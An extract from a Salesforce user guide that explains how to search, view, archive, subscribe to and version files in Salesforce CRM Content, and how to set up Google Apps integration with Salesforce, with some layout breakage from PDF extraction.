Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Clicking the Content tab displays files, content packs, Web links, and Google docs published in your Salesforce CRM Content libraries. If Chatter is enabled, and your administrator has enabled the setting to show Chatter files in Salesforce CRM Content, files posted to Chatter groups and other Chatter files that aren't private or privately shared, are also displayed on the Content tab. The top twenty most recently modified items are listed by default. You can filter the list using the Filter Your Results sidebar. To search for specific content: 1. From the Search drop-down list, restrict your search to a specific library or choose to search in all libraries. If available, restrict your search to just Chatter files or just files in Chatter groups you're a member of. Tip: To display all the locations where the content appears, click Display Options and select Display Locations. The locations are listed under each title. 2. Enter your search term(s) and click Go!. Salesforce CRM Content performs a full-text search of the following document types: rich text format (RTF), UTF-8 encoded TXT, HTML, XML, Adobe PDF, and Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files. Wildcard searches (*) are not supported. 3. If multi-language support is enabled, you can restrict your search to a specific language. By default, Salesforce CRM Content searches all the content in your libraries that is published in your default user language. Searching in all languages also searches the titles, author names, tags, file extensions, and custom fields of content in all languages.

281

Salesforce CRM Content

Searching for Content

Note: Searching in all languages does not search the text or description of documents that were published in languages other than your default user language. 4. Optionally, in the Filter Your Results sidebar, filter your search results by file format, featured content, author, tag, libraries, language, custom field, or Chatter group (if available). The number in parentheses next to each filter type shows you how many matching files, content packs, Web links, and Google docs are in the search results. The Content tab provides several options: Click Display Options to customize your view by adding sortable columns for various content criteria (such as Size and Publication Date), or choosing to display descriptions, tags and locations. Display Locations shows the libraries and Chatter groups where the content appears. My Libraries: none or My Chatter Groups: none means that the file is a Chatter file and is not part of any libraries or Chatter groups. The smart bar graphic for downloads, comments, ratings, and subscribers allows you to compare files, content packs, Google docs, and links within a search result set. Note: Chatter groups are only included in Display Locations if Chatter is enabled, and your administrator has enabled the setting to show Chatter files in Salesforce CRM Content. Select one or more files and click Download to create a zip file with your selected content. Web links and Google docs cannot be included in zip files. Hover over a file icon to see a snapshot of information about the specific file, content pack, Google doc, or Web link and options such as subscribing, voting, and downloading. Click the subscription icon next to the file name to toggle a subscription on or off. For more information, see Viewing and Editing Content Subscriptions on page 287. Click the file name to view the content details page. The content details page provides all the available information about a file, content pack, Google doc, or link. For more information, see Viewing and Editing Content Details on page 283.

This table shows the types of files supported for search and the maximum size a file can be to have the text within the file included in a search. If a file exceeds the maximum size, the text within the file isn't searched, but the file's author name, tags, file extension, and custom fields are. File Type HTML PDF PPT RTF Text Word XML File Extensions
.htm, .html, .xhtml .pdf .ppt, .pptx, .pptm .rtf .c, .cpp, .css, .csv, .ini, .java, .log, .sql, .txt .doc, .docx, .docm .xml

Maximum File Size for Text Within the File to be Searchable 5 MB 25 MB 25 MB 5 MB 5 MB 25 MB 5 MB

282

Salesforce CRM Content

Searching for Content

File Type XLS

File Extensions
.xls, .xlsx, .xlsm

Maximum File Size for Text Within the File to be Searchable 5 MB

See Also:
Deleting, Archiving, and Restoring Content Uploading and Publishing Content Managing Libraries

Viewing and Editing Content Details

283

Salesforce CRM Content

Viewing and Editing Content Details

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To preview and download shared content: To preview and download private content: To upload a new version: To archive and restore content: Member of the library None
Add Content checked in your library permission definition Archive Content checked in your library permission

definition OR Author of the content To permanently delete content: To view and edit comments: To delete comments: To tag content: To mark content as featured: To deliver content from a shared library: To deliver content from a personal library: To post content from a library to a Chatter feed:
Delete Content checked in your library permission

definition
Modify Comments checked in your library permission

definition
Delete Comments checked in your library permission

definition
Tag Content checked in your library permission definition Feature Content checked in your library permission

definition
Deliver Content checked in your library permission

definition
Deliver Uploaded Files and Personal Content

checked in your library permission definition


Post Content to Chatter Feeds checked in your library

permission definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Clicking a file name on the Libraries, Content, or Subscriptions tabs opens the content details page, which is a central access point to preview content and gather information about a particular file, Web link, content pack, or Google doc in Salesforce CRM Content. Starting with the Summer '10 release, if Chatter is enabled for your organization, files posted to Chatter are also listed. The Preview tab displays if your file is one of the following types: Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint. Some Microsoft Office 2007 features don't display correctly in previews. Adobe PDF. Copy-protected PDFs can't be previewed.

284

Salesforce CRM Content

Viewing and Editing Content Details

JPG, BMP, GIF, and PNG

The following options are available on the content details page depending on the type of content you are viewing, your library permissions, and whether the content is in a public or private library, or from Chatter: Click the thumbs up or thumbs down icon to vote for the file, Web link, content pack, or Google doc. To change your vote, click the opposite icon. After you cast a vote, the Recent Activity list on the Libraries tab indicates whether you like or dislike the content. Click Deliver Content to create a content delivery. Click Deliver Content > Show Content Deliveries to view a list of deliveries associated with the content. For Web links or Google docs, click the Open button to open the Web page in a separate window. For files, click the Download button to open or save the file. Click Subscribe or Subscribed to toggle your subscription on or off. For content packs, click Clone & Customize to create a new pack by adding or removing files and slides. Salesforce CRM Content saves or publishes your customized pack as new content, not a version of the pack you copied. Click Edit > Edit Content Details to modify standard and custom fields. Click Edit > Edit Content Pack to create a new version of a content pack by adding or removing files. For files, click Edit > Upload New Version to replace the file with a new version. The version option is not available for Web links, content packs, or Google docs. Note: If the Add New Version button is grayed out, your organization has exceeded its file storage allowance and new content cannot be uploaded. Click Edit > Archive Content to remove the file, Web link, content pack, or Google doc from the library. Authors can archive and restore their own content regardless of library permissions.If a file is in Salesforce CRM Content and also posted in Chatter, archiving it doesn't remove the Chatter post. Click Edit > Delete Content to delete the file, Web link, content pack, or Google doc from Salesforce CRM Content by moving it to the Recycle Bin. Authors can delete and undelete their own content regardless of library permissions. Deleting a Google doc removes the doc's association with Salesforce CRM Content but does not delete the doc in Google Apps. You cannot delete a file that is included in a content pack or content delivery. Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from Chatter. Click Edit > Library Actions and choose Move to Another Library to move the content to a different managing (or home) library. Choose Share to Another Library to share content into additional libraries without changing the managing library. Sharing or linking content to other libraries enables members of those libraries to find your content. If the managing library and shared library have different tagging rules, the most restrictive tagging rule applies. If you want to remove content from a library where the content is shared, click Remove from Libraries. This option does not remove content from its managing library Click the Comments subtab to view, add, edit, or delete comments. Click the Versions subtab to view a list of all file versions and the reason-for-change statements provided by the authors. Click the Downloads subtab to view a list of all Salesforce CRM Content users who have downloaded the file. Download data is not available for Web links or Google docs. Click the Subscribers subtab to view a list of all Salesforce CRM Content users subscribed to the file, Web link, or Google doc. To subscribe to an author, click the drop-down button next to the author's name. To subscribe to a library, click the drop-down button next to the library name. Click a tag name to view all the content associated with that tag. Click the arrow next to the tag to remove the tag or to subscribe to all content with that tag.

285

Salesforce CRM Content

Deleting, Archiving, and Restoring Content

To add a new tag, enter a tag name in the Add Tags field and click Save. As you type a tag, Salesforce CRM Content autosuggests tags based on the tags in your My Recent Tags list in the Save or Publish window and the Popular Tags section on the Libraries tab. Note: If your administrator applied a library tagging rule, you may not be able to enter new tags. If the guided tagging rule is applied, you can click Add Tags and choose from the list of suggested tags or enter new tags. If the restricted library tagging rule is applied, you can click Add Tags and choose from the list of suggested tags, but you cannot enter your own tags.

Click the author's name to see a list of the author's published content. Click the arrow next to the author's name and choose Subscribe to Author to subscribe to all content published by that author. Click Feature or Don't Feature to toggle the feature designation on or off. Featured content receives a higher priority than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured files with that term will appear at the top of the search results list. Featured content is also listed on the library overview and library detail pages for quick access. Click a library name to view details about the library. Click the arrow next to the library name and choose Subscribe to Library to subscribe to all content in the library or Show Library Content to view a list of all files, content packs, Web links, and Google docs published to the library.

See Also:
Updating Content Versions Deleting, Archiving, and Restoring Content Searching for Content

Deleting, Archiving, and Restoring Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To archive and restore any content in the library: To archive and restore content that you published: To delete content:
Archive Content checked in your library permission

definition
Add Content checked in your library permission definition Delete Content checked in your library permission

definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Salesforce CRM Content offers two methods for removing content: archiving and deleting. Archiving a piece of content removes it from its library but does not permanently delete it from Salesforce CRM Content. Once archived, content cannot be downloaded and it does not appear in search results, but you can locate and restore it if necessary. Deleted content, however, is permanently deleted from Salesforce CRM Content when the Recycle Bin is emptied.

286

Salesforce CRM Content

Deleting, Archiving, and Restoring Content

Note: If you delete a content pack, you do not delete the individual files within the pack; only the pack (container) is deleted. Files that are included in a content pack or content delivery cannot be deleted until the pack or delivery is deleted. To archive or delete content: 1. Click the file name on the Libraries, Content, or Subscriptions tabs. 2. On the content details page, click Archive Content or Delete Content. Note: Authors can always archive and restore their own content. Authors do not require the Archive Content library permission option. If a file is in Salesforce CRM Content and also posted in Chatter, archiving it doesn't remove the Chatter post. Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from Chatter.

To restore archived content, open the content details page and click Restore Content. You can use any of the following methods to open the content details page for an archived piece of content: Follow a bookmark to the archived content. In the Libraries tab, click a library name to open the library details page. Click the View Archived Content link to see a list of archived content on the Content tab. The View Archived Content link only displays if you have the Archive Content, Add Content, or Manage Libraries privileges in your library permission. If you have the Archive Content or Manage Libraries privileges, you will see a list of all archived content in the library, regardless of author. If you do not have those privileges but have the Add Content privilege, you will only see archived content that you authored and archived. Click the content you want to restore to open the content details page.

To restore deleted content, click on the Recycle Bin link in any tab. Select the content and click Undelete. Note: Archived and deleted files are automatically removed from subscription lists. Subscribers are not notified when content is archived or deleted.

See Also:
Uploading and Publishing Content Updating Content Versions Viewing and Editing Content Details Viewing and Editing Content Deliveries

Viewing and Editing Content Subscriptions

287

Salesforce CRM Content

Viewing and Editing Content Subscriptions

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To subscribe to content:


Salesforce CRM Content User checked in your personal

information AND Member of the library

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Clicking the Subscriptions tab displays the Subscriptions home page, where you can view your Salesforce CRM Content subscriptions and toggle them off or on. Note: To subscribe to a file, content pack, Web link, or Google doc, view its content details page and click Not Subscribed. From the content details page you can also subscribe to a tag, author, or library by using the drop-down menus next to the tag, author, or library name. On the Subscriptions tab, click the Content, Tags, Authors, or Libraries subtabs to view your subscriptions. Depending on your notification settings, you are notified of changes to your subscribed content via real-time emails or a once-daily email. Tip: To configure your notification settings, go to Your Name > Setup > My Personal Information and click Edit. Choose Receive Salesforce CRM Content email alerts. If you want to receive a once-daily summary rather than real-time email alerts, also select Receive Salesforce CRM Content emails as daily digest. Subscriptions generate the following notifications: If you subscribe to a file, you are notified when a viewer adds comments to the file or when a new version of the file is published. If you subscribe to a Web link or Google doc, you are notified when comments are added but not when the link is changed or the doc is edited. If you subscribe to a content pack you are notified when a new version of the pack is published. Unless you are subscribed to the individual files within a content pack, you are not notified when new versions of the files are published. If you subscribe to a tag, you are notified of any newly published content that is associated to the subscribed tag. To be notified that new versions of the tagged content are available, subscribe to the content. If you subscribe to an author, you are notified when the author publishes new content. To be notified that new versions of an author's content are available, subscribe to the content.

288

Salesforce CRM Content

Updating Content Versions

If you subscribe to a library, you are notified when new content is added to the library, including existing content that has been newly linked to your subscribed library. To be notified that new versions of the library content are available, subscribe to the content.

See Also:
Searching for Content Viewing and Editing Content Details Managing Libraries

Updating Content Versions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add a new version:


Add Content checked in your library permission definition

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Clicking a file name on any Salesforce CRM Content tab opens the content details page.

Publishing a New Version


To publish a new version of the file and update its properties: 1. Click Edit > Upload New Version. This option does not appear for Web links, content packs, or Google docs. To add or remove files from a content pack, see Creating and Modifying Content Packs in Salesforce CRM Content on page 275. 2. Click Browse to find and select the updated file. 3. As needed, update the Title and Description fields. 4. Fill out the Reason for change field. This text is included on the email notifications sent to subscribers and the version list located on the content details page. 5. To publish the content on behalf of another author, choose that author from the drop-down list. 6. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.

289

Salesforce CRM Content

Finding Salesforce CRM Content

Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

7. Update any custom fields as needed. 8. Click Publish.

Notes on Content Versions


Consider the following information when creating or modifying a new version: You cannot edit a file within Salesforce CRM Content. To edit a file, download it from Salesforce CRM Content to your computer, make your changes, then upload the updated version using the Upload New Version button. The Versions subtab on the content details page lists all content versions. The Recent Activity list on the Libraries tab also notifies users of new content versions. Contact Manager, Group, Professional, Enterprise, and Unlimited Edition customers can publish a maximum of 5,000 new versions per 24hour period. Developer Edition and trial users can publish a maximum of 2,500 new versions per 24hour period.

See Also:
Deleting, Archiving, and Restoring Content Searching for Content Viewing and Editing Content Details

Finding Salesforce CRM Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions To access Salesforce CRM Content:


Salesforce CRM Content User checked in your personal

information AND Member of the library

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. If your organization has Salesforce CRM Content enabled, you can take advantage of Salesforce CRM Content functionality on detail pages for leads, accounts, contacts, opportunities, products, cases, or custom objects. The Related Content related list allows you to search for files, content packs, Web links, or Google docs and attach them to the record. When you attach a file, the latest version will be available for the life of the record unless the file is removed. From the Related Content related list, you can:

290

Salesforce CRM Content

Finding Salesforce CRM Content

Click the content's title to view the content details page where you can perform several tasks, such as commenting and voting on content, downloading files, opening Web pages and Google docs, and subscribing to content, authors, tags, or libraries. For more information, see Viewing and Editing Content Details on page 283. Click Del next to a piece of content to remove it from the record. This does not delete the content from the Salesforce CRM Content library. If content deliveries are enabled in your organization, click Deliver Content to create a content delivery. A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the delivery is available to viewers and whether a viewer can download a file or see it online only. For more information, see Creating Content Deliveries on page 278. Search for related content: 1. Click Find Content or Search All. In both cases, Salesforce CRM Content searches within the libraries that you have access to. If you click Search All, the search results display all the content in your libraries. For the Find Content search, your search results contain content that is relevant to the record; Salesforce CRM Content searches for content with text or attributes that match the following fields: On an opportunity, the Opportunity Name, Account Name, and all competitors and products. On an account, the Account Name and Industry. On a case, the Case Reason, Subject, Account Name, and Industry. On a lead, the Name, Company, Industry, and Title. Note: On a custom object, clicking Find Content returns search results that contain the full custom object name in the document's text or attributes. If no content meets this criterion, the search results will be empty and a Search All search should be used instead. 2. On the search results page, filter your results as needed by entering search terms or selecting filter criteria from the sidebar. 3. Click Attach for any file that you want to attach to the record. 4. Click the Back link to return to the detail page.

See Also:
Salesforce CRM Content Overview Customizing Salesforce CRM Content Viewing and Editing Content Details Uploading and Publishing Content

Using the Content Related List

291

Salesforce for Google Apps

Google Apps Overview

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To access Salesforce CRM Content:


Salesforce CRM Content User checked in your personal

information

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. The Content related list on a record detail page includes links to all of the content that has been associated with that record in Salesforce CRM Content. Click the file name to open the content details page. Only Salesforce CRM Content users who are members of the library where the content was published can see the published file in the Content related list. For example, if you select the Big Deal opportunity when publishing BigDealStrategy.doc into the Sales Collateral library, the Content related list on the Big Deal opportunity includes a link to BigDealStrategy.doc only for members of the Sales Collateral library. Users who are not members of that library do not see the link. You can use the Related Content related list to access Salesforce CRM Content from leads, accounts, contacts, opportunities, products, cases, or custom objects. For more information, see Finding Salesforce CRM Content on page 290.

See Also:
Salesforce CRM Content Overview Finding Salesforce CRM Content

SALESFORCE FOR GOOGLE APPS


Google Apps Overview
Available in: All Editions except Database.com

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Google Apps is a suite of on-demand communication and collaboration services hosted by Google and designed for business users. Salesforce integrates key Google Apps services and provides several AppExchange apps that enhance and customize Google-related functionality. To set up a Google Apps account for your organization, activate services, and create individual Google Apps accounts for your Salesforce users, see Getting Started with Salesforce and Google Apps on page 294.

292

Salesforce for Google Apps

Google Apps Overview

The following services for Google Apps are integrated with Salesforce and require a simple activation by a Salesforce administrator: Add Google Docs to Salesforce Google Docs allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and work together in real time with other collaborators. When the Add Google Docs to Salesforce service is activated, you can: Use the Google Docs, Notes, & Attachments or Google Docs & Attachments related list on any Salesforce record to create, edit, or view Google docs and associate them to a record. Share a Google doc with any Google Apps user in your organization. Associate Google docs with Salesforce records even when you are not working in Salesforce by using the Add Google Doc to Salesforce browser button. Add Google docs to Salesforce CRM Content, which allows you to manage all types of content in a centralized location.

Google Docs Tab When the Google Docs tab is activated, you can use it to conveniently access the Docs home page for your Google Apps account without leaving Salesforce. The Google Docs tab hosts your Docs home page, which is a list of all Google documents, spreadsheets, and presentations that you created or that other users have shared with you. If the Add Google Docs to Salesforce service is also activated, you can create a Google doc from the Google Docs tab and associate that doc to any Salesforce record with the click of a button. Gmail to Salesforce Gmail is a Web-based email application that operates on all standard browsers and can be used with your company's domain. Use Gmail to Salesforce to automatically log emails you send from your Gmail account as activities on lead and contact records in Salesforce. Gmail Buttons and Links Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in Activity History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button, Salesforce automatically logs you into your Gmail account and automatically populates the To field. If Gmail to Salesforce is activated, Salesforce also populates the BCC field with your Email to Salesforce address. Google Talk Sidebar Component Google Talk is Google's instant-messaging tool. When the Google Talk Sidebar Component is activated in Salesforce, Google Talk displays in the sidebar where it can be toggled on, off, or expanded into its own window. You can also log a chat record as an activity on a Salesforce lead or contact record.

Implementation Tips
For detailed information about Google Apps, refer to Google's online help. Google Apps in Salesforce is available for Google business accounts but not consumer accounts. You can identify a consumer account by the gmail.com domain in an email address; for example, myname@gmail.com is a consumer account. The Google Apps domain you set up in Salesforce must be the domain you registered with Google for your organization; for example, mycompany.com is a business rather than consumer account. After creating a Google Apps account for your organization, create Google Apps accounts for your Salesforce users by clicking Export to Google Apps from Your Name > Setup > Manage Users > Users. Notify users of their Google Apps usernames and passwords.

293

Salesforce for Google Apps

Google Apps Overview

Notify users about the changes they will see in Salesforce when Google Apps services are activated. For example, activating the Google Talk Sidebar Component adds Google Talk to the sidebar for all users in your organization. To view all the Google apps available on Force.com AppExchange, visit http://sites.force.com/appexchange. By default, Google Apps users on your organization's domain can share Google docs with Google Apps accounts outside your domain. The control panel for your Google Apps account contains sharing settings that enable you to restrict document sharing to within your domain. When the Add Google Docs to Salesforce service is deactivated, Google docs cannot be accessed from Salesforce records ,and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from Salesforce. If the Add Google Docs to Salesforce service is reactivated within 30 days, Google docs that were associated with Salesforce records before the deactivation are restored to their previous location. Deactivating the Add Google Docs to Salesforce service does not affect Google docs in Salesforce CRM Content libraries; deactivation does not remove Google docs associations in libraries and does not permanently delete Google docs in Recycle Bins. Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new Google docs and associate existing Google docs to a Salesforce library. Portal users without access to Salesforce CRM Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a record because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users cannot use the Add Google Doc to Salesforce browser button. Customer Portal and partner portal users cannot access the Gmail Buttons and Links or Google Talk Sidebar Component services. If your organization purchased the Salesforce for Google Apps Supported feature, see Getting Started With Salesforce and Google Apps Supported on page 296.

Best Practices
Test your Google Apps integration using a sandbox or Developer Edition organization. Manage Google Apps users as you would Salesforce users. For example, if you deactivate a Salesforce user, also deactivate his or her Google Apps account in the control panel for your organization's Google Apps account. For information about administering your organization's Google Apps account, refer to Google's online help. To locate a Google doc quickly in Salesforce, search for the doc using Sidebar Search. If Google Talk is in the sidebar, refreshing a Salesforce page causes Google Talk to momentarily disconnect and reconnect. Recommend to your users that they open Google Talk in its own window if they want to have longer chats.

See Also:
Getting Started with Salesforce and Google Apps Using Google Docs in Salesforce Using Gmail in Salesforce Using Google Talk in Salesforce

Getting Started with Salesforce and Google Apps

294

Salesforce for Google Apps

Getting Started with Salesforce and Google Apps

Available in: All Editions except Database.com

User Permissions Needed To view and modify Google Apps domain settings: To activate or deactivate Google Apps services: To install or uninstall Force.com AppExchange packages: To export a list of users to Google to create Google Apps accounts: Customize Application Customize Application Download AppExchange packages Customize Application

Google Apps is a suite of on-demand communication and collaboration services hosted by Google and designed for business users. If your organization has a Google Apps account, Salesforce administrators can enable Google Docs, Gmail, Google Talk, and a host of Google-related AppExchange appscustomized for use within Salesforce. For a description of the Google Apps functionality in Salesforce, see Google Apps Overview on page 292.

Step 1: Creating a Google Apps Account


Create a Google Apps account for your organization using one of the following methods: On the Your Name > Setup > Google Apps > Settings page, click Sign Up to launch the account-creation page on the Google website. You are prompted to register your organization's domain name or purchase a new domain name from Google. A domain is the portion of a website's URL that follows the www. Follow Google's steps to configure your new or existing domain and set up your Google Apps account. If your organization purchased the Salesforce and Google Apps Supported feature, click Your Name > Setup > Google Apps > Premier Setup to create a new Google Apps Premier Edition account or upgrade your existing Standard Edition account to Premier Edition. For details, see Getting Started With Salesforce and Google Apps Supported on page 296. Note: Google Apps in Salesforce supports Google Apps business accounts but not consumer accounts. You can identify a consumer account by the gmail.com domain in an email address; for example, myname@gmail.com is a consumer account. The Google Apps domain you set up in Salesforce must be the domain you registered with Google for your organization; for example, mycompany.com is a business rather than consumer account.

Step 2: Configuring Google Apps Domain Settings


1. On the Your Name > Setup > Google Apps > Settings page in Salesforce, click Edit. 2. Choose a user for the Google Apps Administrative Contact field. This person is the point of contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator can create new Google Apps users on your domain. 3. Enter the Google Apps Domain that you registered with Google. For example, if your company's URL is http://www.acme.com and you created a Google Apps account for the acme.com domain, enter acme.com in the Google Apps Domain field. 4. Click Save.

295

Salesforce for Google Apps

Getting Started with Salesforce and Google Apps

Step 3: Activating Google Apps Services


1. In the Activate Google Apps Services section on the Your Name > Setup > Google Apps > Settings page, locate the Google Apps service(s) that you want to activate. 2. Click Edit or Install to activate a service. In the Action column, Edit corresponds to Google Apps services that are already integrated in Salesforce, and Install corresponds to uninstalled Force.com AppExchange apps. Integrated Google Apps services include: Add Google Docs to Salesforce Google Docs Tab Gmail to Salesforce Gmail Buttons and Links Google Talk Sidebar Component

For descriptions of the Google-related AppExchange apps, visit http://sites.force.com/appexchange.

Step 4: Creating Google Apps Users


Activating Google Apps services in Salesforce makes the services visible to all users in your organization, but a user cannot access a service unless he or she has a Google Apps account on your organization's domain. The Google Apps administrator registered with Google can create these additional accounts. For more information, see Creating Google Apps Accounts on page 300.

See Also:
Using Google Docs in Salesforce Using Gmail in Salesforce Using Google Talk in Salesforce

Getting Started With Salesforce and Google Apps Supported

296

Salesforce for Google Apps

Getting Started With Salesforce and Google Apps Supported

Available in: All Editions except Database.com

User Permissions Needed To create a new Google Apps Premier Edition account in Salesforce: Customize Application OR Google Apps Administrative Contact To upgrade Google Apps Standard Edition to Google Apps Customize Application Premier Edition in Salesforce: OR Google Apps Administrative Contact

The Salesforce and Google Apps Supported feature includes a Google Apps Premier Edition account for your organization. In Salesforce, you can create that account or upgrade from an existing Google Apps Standard Edition account to Google Apps Premier Edition. For a description of the Google Apps services available in Salesforce, see Google Apps Overview on page 292. After you create a new Google Apps Premier Edition account or upgrade your existing Google Apps Standard Edition account in Salesforce, the Premier Setup page displays your organization's domain name, the number of Google Apps Premier Edition licenses available to your organization, and, if applicable, the status of your upgrade.

Creating a New Google Apps Premier Edition Account


If your organization does not have a Google Apps account, complete the following steps to register a Google Apps Premier Edition account and enable Salesforce and Google Apps: 1. Click Settings > Google Apps > Premier Setup. 2. Complete the fields in Column A: Field
Domain Name

Description Enter the domain that you want to register as your organization's Google Apps account. For example, if your company's URL is http://www.acme.com, enter acme.com as your Domain Name. This value is used to create the Google Apps administrator for your organization's account. For example, if your Google Apps administrator will be jsmith@acme.com, enter jsmith. After your Google Apps account is created, you can log in with the User Name and Password and change this value if necessary. This value is used to create the Google Apps administrator for your organization's account. After your Google Apps

User Name

First Name

297

Salesforce for Google Apps

Getting Started With Salesforce and Google Apps Supported

Field

Description account is created, you can log in with the User Name and Password and change this value if necessary.

Last Name

This value is used to create the Google Apps administrator for your organization's account. After your Google Apps account is created, you can log in with the User Name and Password and change this value if necessary. This email address receives a confirmation notice when your Google Apps Premier Edition account is created. Google does not store this value for any other purpose. The Google Apps administrator can log in to Google Apps with this password. The Google Apps administrator can log in to Google Apps with this password.

Email Address

Password

Confirm Password

3. Click Create New Premier Account. 4. To enable Salesforce and Google Apps, click Your Name > Setup > Google Apps > Settings. 5. Choose a user for the Google Apps Administrative Contact field. This person is the point of contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator can create new Google Apps users on your domain. 6. Verify that the Google Apps Domain field contains the domain name you registered with Google. 7. Activate Google Apps services in Salesforce. For more information, see Activating Google Apps Services on page 296. 8. Create users for your organization's Google Apps account. For more information, see Creating Google Apps Accounts on page 300. Note: The number of Google Apps Premier Edition accounts you can create is limited to the number of licenses your organization purchased with the Salesforce and Google Apps Supported feature.

Upgrading to a Google Apps Premier Edition Account


Complete the following steps to upgrade your organization's existing Google Apps Standard Edition account to a Google Apps Premier Edition account. 1. Click Your Name > Setup > Google Apps > Premier Setup. 2. Complete the fields in Column B: Field
Domain Name

Description The domain that you want to register as your organization's Google Apps Premier Edition account. If you already enabled Salesforce and Google Apps, this field is prepopulated with your organization's domain name.

298

Salesforce for Google Apps

Setting Up Google Apps in Salesforce

Field
Google Apps Token

Description The 16-digit token required to upgrade from Google Apps Standard Edition to Google Apps Premier Edition. Your organization's Google Apps administrator can access this information on the Google website. For more information, click Retrieve Google Apps Token in Column B.

3. Click Upgrade Existing Account to Premier. 4. To enable Salesforce and Google Apps, click Your Name > Setup > Google Apps > Settings. 5. As needed, edit the Google Apps Administrative Contact field. This person is the point of contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator can create new Google Apps users on your domain. 6. Verify that the Google Apps Domain field contains the domain name you registered with Google. 7. As necessary, activate Google Apps services in Salesforce. For more information, see Activating Google Apps Services on page 296. 8. As necessary, create users for your organization's Google Apps account. For more information, see Creating Google Apps Accounts on page 300. Note: The number of Google Apps Premier Edition accounts you can create is limited to the number of licenses your organization purchased with the Salesforce and Google Apps Supported feature.

See Also:
Google Apps Overview Getting Started with Salesforce and Google Apps

Setting Up Google Apps in Salesforce


Available in: All Editions except Database.com

User Permissions Needed To edit Google Apps domain settings and activate or deactivate services: To install or uninstall AppExchange packages: Customize Application Download AppExchange packages

Click Your Name > Setup > Google Apps > Settings to edit your Google Apps domain settings, activate or deactivate Google Apps services in Salesforce, or install or uninstall Google-related Force.com AppExchange packages. For a description of Google Apps functionality in Salesforce, see Google Apps Overview on page 292.

299

Salesforce for Google Apps

Setting Up Google Apps in Salesforce

Important: You cannot use Salesforce and Google Apps until a Google Apps account has been created for your organization and your Google Apps domain settings are configured in Salesforce. For instructions on creating an account and configuring your domain settings, see Getting Started with Salesforce and Google Apps on page 294.

Editing Google Apps Domain Settings


Domain settings consist of two values: the user chosen to administer your organization's Google Apps account and the domain your organization registered with Google. Both fields are required to enable Google Apps in Salesforce. To edit your domain settings: 1. In the Configure Google Apps Domain section, click Edit. 2. Optionally, choose a new user for the Google Apps Administrative Contact field. This person is the point of contact for Google Apps users in your organization; specifically, if a user cannot access a Google Apps service, he or she is directed to contact the Google Apps Administrative Contact. The Google Apps Administrative Contact does not need to be the same person who is registered as your organization's Google Apps administrator with Google, but only the Google Apps administrator can create new Google Apps users on your domain. 3. Optionally, modify the Google Apps Domain that is registered with Google for your organization's Google Apps account. Your Google Apps Domain is typically your company's domain; for example, acme.com.

Modifying Google Apps Services


This section lists Google Apps services that are integrated with Salesforce and also provides links to several Google-related Force.com AppExchange apps that can be easily installed from AppExchange. To activate or deactivate an integrated service, click Edit next to the service name. These services include: Add Google Docs to Salesforce Google Docs Tab Gmail to Salesforce Gmail Buttons and Links Google Talk Sidebar Component Note: If you are activating a service for the first time, review the Implementation Tips for Google Apps services.

To install or uninstall an AppExchange app, click Install or Uninstall next to the appropriate name. To view all Google-related AppExchange offerings, visit http://sites.force.com/appexchange.

See Also:
Installing a Package Uninstalling a Package Google Apps Overview

